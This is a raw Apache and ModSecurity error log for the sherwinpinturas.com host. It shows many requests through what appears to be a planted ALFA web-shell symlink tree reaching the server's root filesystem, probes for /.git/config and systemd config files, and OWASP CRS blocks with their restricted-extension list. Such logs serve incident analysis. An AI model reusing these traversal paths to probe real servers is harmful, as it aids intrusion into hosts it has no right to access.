[Sun Oct 25 18:36:50.042815 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 201.7.31.35:40982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/align
[Sun Oct 25 18:36:50.130586 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 34.239.197.197:10738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:36:52.412520 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 5.62.144.230:10847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/align
[Sun Oct 25 18:36:54.153803 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 18.207.79.144:51719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:37:02.193190 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 98.83.226.125:40272] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:37:06.145822 2026] [ssl:error] [pid 2914956:tid 2914956] (70014)End of file found: [client 44.215.210.112:38467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:37:06.564543 2026] [security2:error] [pid 2914422:tid 2914422] [client 179.64.19.25:57331] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6EklFYdRRWCEvBLGcPpQAAAAo"]
[Sun Oct 25 18:37:06.565068 2026] [security2:error] [pid 2914422:tid 2914422] [client 179.64.19.25:57331] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6EklFYdRRWCEvBLGcPpQAAAAo"]
[Sun Oct 25 18:37:06.565374 2026] [security2:error] [pid 2914422:tid 2914422] [client 179.64.19.25:57331] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6EklFYdRRWCEvBLGcPpQAAAAo"]
[Sun Oct 25 18:37:09.659775 2026] [security2:error] [pid 2912991:tid 2912991] [client 196.207.231.214:19829] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6ElcwC9U2YksHGMRBsuwAAAAM"]
[Sun Oct 25 18:37:09.660291 2026] [security2:error] [pid 2912991:tid 2912991] [client 196.207.231.214:19829] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6ElcwC9U2YksHGMRBsuwAAAAM"]
[Sun Oct 25 18:37:09.660699 2026] [security2:error] [pid 2912991:tid 2912991] [client 196.207.231.214:19829] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6ElcwC9U2YksHGMRBsuwAAAAM"]
[Sun Oct 25 18:37:10.130371 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 3.213.213.161:1560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:37:12.938163 2026] [security2:error] [pid 2914956:tid 2914956] [client 95.214.210.1:32600] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6EmKIO2iZzJf4jhovluwAAAAY"]
[Sun Oct 25 18:37:12.938783 2026] [security2:error] [pid 2914956:tid 2914956] [client 95.214.210.1:32600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6EmKIO2iZzJf4jhovluwAAAAY"]
[Sun Oct 25 18:37:12.939199 2026] [security2:error] [pid 2914956:tid 2914956] [client 95.214.210.1:32600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at6EmKIO2iZzJf4jhovluwAAAAY"]
[Sun Oct 25 18:37:18.137309 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 54.159.98.248:14894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/drivers/battery/unbind
[Sun Oct 25 18:37:30.226789 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 52.0.41.164:18832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:37:34.147177 2026] [security2:error] [pid 2910745:tid 2910745] [client 98.84.200.43:7429] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/device/event1/subsystem/input3/subsystem/mouse0/"] [unique_id "at6Erh9aSiuCLVOZQhxLTQAAACg"]
[Sun Oct 25 18:37:34.147230 2026] [security2:error] [pid 2910745:tid 2910745] [client 98.84.200.43:7429] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/device/event1/subsystem/input3/subsystem/mouse0/"] [unique_id "at6Erh9aSiuCLVOZQhxLTQAAACg"]
[Sun Oct 25 18:37:45.392840 2026] [security2:error] [pid 2910745:tid 2910745] [client 43.134.68.29:54322] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at6EuR9aSiuCLVOZQhxLTgAAACg"]
[Sun Oct 25 18:37:50.239223 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 3.218.103.254:63038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:37:50.943385 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 187.190.238.184:1729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/shrink
[Sun Oct 25 18:37:52.432621 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 187.13.176.141:9478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/shrink
[Sun Oct 25 18:37:55.276450 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 45.172.143.30:34688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/shrink
[Sun Oct 25 18:37:57.285321 2026] [security2:error] [pid 2910693:tid 2910693] [client 172.70.243.24:12885] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6ExRUC0X8RmpNnzXXAIAAAAAw"]
[Sun Oct 25 18:37:57.285587 2026] [security2:error] [pid 2910693:tid 2910693] [client 172.70.243.24:12885] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6ExRUC0X8RmpNnzXXAIAAAAAw"]
[Sun Oct 25 18:37:57.285893 2026] [security2:error] [pid 2910693:tid 2910693] [client 172.70.243.24:12885] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6ExRUC0X8RmpNnzXXAIAAAAAw"]
[Sun Oct 25 18:38:06.055390 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 185.191.171.12:46420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__ksymtab_gpl
[Sun Oct 25 18:38:06.134317 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 52.4.76.156:43924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:10.337280 2026] [ssl:error] [pid 2913030:tid 2913030] (5)Input/output error: [client 54.86.59.155:21583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:12.016202 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 107.220.108.173:44415] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/object_size
[Sun Oct 25 18:38:13.887086 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 71.236.209.199:41861] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/object_size
[Sun Oct 25 18:38:14.152382 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 34.234.197.175:53528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:15.199956 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 75.191.93.157:52931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/object_size
[Sun Oct 25 18:38:18.130363 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 34.206.249.188:2862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:22.165869 2026] [security2:error] [pid 2913030:tid 2913030] [client 52.204.71.8:24036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/driver/serio1/input/input4/"] [unique_id "at6E3tACfKmH39GTPJ9ihgAAAAg"]
[Sun Oct 25 18:38:22.165909 2026] [security2:error] [pid 2913030:tid 2913030] [client 52.204.71.8:24036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/driver/serio1/input/input4/"] [unique_id "at6E3tACfKmH39GTPJ9ihgAAAAg"]
[Sun Oct 25 18:38:26.166735 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.156.55.147:13484] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:34.132939 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.215.221.125:12842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:38.153172 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 44.215.210.112:9981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:39.624512 2026] [security2:error] [pid 2910693:tid 2910693] [client 185.191.171.6:14092] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/email/__pycache__/message.cpython-36.pyc"] [unique_id "at6E7xUC0X8RmpNnzXXAIwAAAAw"]
[Sun Oct 25 18:38:39.624549 2026] [security2:error] [pid 2910693:tid 2910693] [client 185.191.171.6:14092] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/python3.6/email/__pycache__/message.cpython-36.pyc"] [unique_id "at6E7xUC0X8RmpNnzXXAIwAAAAw"]
[Sun Oct 25 18:38:45.961443 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 97.236.250.152:46046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/total_objects
[Sun Oct 25 18:38:46.192501 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 3.231.193.38:62110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:48.995530 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 31.155.239.193:32340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/total_objects
[Sun Oct 25 18:38:50.854819 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 86.132.46.132:39007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/total_objects
[Sun Oct 25 18:38:53.266925 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 194.44.57.111:6756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cpu_partial
[Sun Oct 25 18:38:54.170695 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 34.202.88.37:60644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:38:55.283251 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 82.86.109.113:36808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cpu_partial
[Sun Oct 25 18:38:58.245677 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 177.81.79.128:5254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cpu_partial
[Sun Oct 25 18:39:02.193525 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 54.84.147.79:52516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:39:03.515562 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6E-Qyydx1uvQyMj1dhjQAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 18:39:03.515641 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6E-Qyydx1uvQyMj1dhjQAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 18:39:05.234996 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 47.145.46.56:60101] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/ctor
[Sun Oct 25 18:39:06.800243 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 73.166.201.194:39053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/ctor
[Sun Oct 25 18:39:08.963926 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 149.13.193.61:36597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/ctor
[Sun Oct 25 18:39:18.499458 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 73.112.4.103:47792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/validate
[Sun Oct 25 18:39:20.648856 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 216.131.120.31:58683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/validate
[Sun Oct 25 18:39:22.076422 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 185.191.171.16:54958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/ctor
[Sun Oct 25 18:39:22.092706 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 67.71.139.140:43275] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/cpu_partial
[Sun Oct 25 18:39:26.589152 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 179.199.181.75:16506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/validate
[Sun Oct 25 18:39:30.290690 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 23.21.250.48:7120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:39:32.636805 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 80.246.77.172:5100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/cpu_partial
[Sun Oct 25 18:39:38.279621 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 52.7.33.248:25346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:39:38.279879 2026] [security2:error] [pid 2910693:tid 2910693] [client 52.7.33.248:25346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/0000:00:00.0/firmware_node/wakeup/wakeup0/device/physical_node/numa_node"] [unique_id "at6FKhUC0X8RmpNnzXXAKQAAAAw"]
[Sun Oct 25 18:39:38.279925 2026] [security2:error] [pid 2910693:tid 2910693] [client 52.7.33.248:25346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/0000:00:00.0/firmware_node/wakeup/wakeup0/device/physical_node/numa_node"] [unique_id "at6FKhUC0X8RmpNnzXXAKQAAAAw"]
[Sun Oct 25 18:39:51.060155 2026] [core:error] [pid 2914956:tid 2914956] (13)Permission denied: [client 80.1.31.97:60642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/sanity_checks
[Sun Oct 25 18:39:53.706034 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 197.10.191.56:42238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/sanity_checks
[Sun Oct 25 18:39:54.224908 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 52.3.26.180:2881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:39:57.213078 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 174.48.234.13:54903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/sanity_checks
[Sun Oct 25 18:39:58.234686 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 3.220.70.171:2842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:39:59.541376 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 38.21.112.57:50558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/object_size
[Sun Oct 25 18:40:01.618988 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 146.115.232.142:35211] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/object_size
[Sun Oct 25 18:40:04.447243 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 178.121.32.52:2245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/destroy_by_rcu
[Sun Oct 25 18:40:06.259358 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 50.16.216.166:61963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:40:07.075523 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 138.99.32.147:27546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/destroy_by_rcu
[Sun Oct 25 18:40:09.107052 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 86.143.217.241:32833] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/destroy_by_rcu
[Sun Oct 25 18:40:14.430275 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 34.196.6.199:11936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:09/subsystem/uevent
